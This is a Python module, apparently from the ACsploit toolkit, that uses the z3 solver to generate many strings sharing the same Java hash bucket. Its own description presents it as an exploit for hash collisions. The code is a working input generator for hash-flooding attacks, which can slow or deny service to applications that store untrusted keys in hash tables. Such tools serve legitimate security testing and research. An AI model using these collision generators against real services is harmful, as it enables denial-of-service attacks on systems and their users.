import z3
from acsploit.options import Options
from .z3_common import get_collisions


options = Options()
options.add_option('n_collisions', 10, 'Number of colliding strings to create')
options.add_option('length', 10, 'Length of strings to create')
options.add_option('hash_table_size', 100, 'Size of target hash table')
options.add_option('target_type', 'preimage', 'Whether the target is an image (hash output) or preimage (hash input)',
                   ['image', 'preimage'])
options.add_option('target', 'hello', 'Image or preimage of desired hash value')

DESCRIPTION = 'Produces hash collisions for the Java hash function.' \
              '\n\n  ' \
              'This exploit works by using z3 to "solve" for hash collisions. An implementation of the Java ' \
              'checksum for z3 is used to generate a constraint system that z3 solves to find colliding hash inputs. ' \
              'The exploit runs slower than both java and java_fast but allows for exact control of the length of the ' \
              'colliding strings.'


NO_INPUT = True


def run(output):
    ret = get_collisions(z3java, options['target'], options['target_type'], options['length'],
                         options['n_collisions'], options['hash_table_size'])
    output.output(ret)


def z3java(bytes, hash_table_size):  # computes the default java hash in z3 form.
    v1 = 0
    for i in range(len(bytes)):
        v1 += ((31 ** i) % hash_table_size) * z3.ZeroExt(56, bytes[len(bytes)-1-i])
    return v1 % hash_table_size
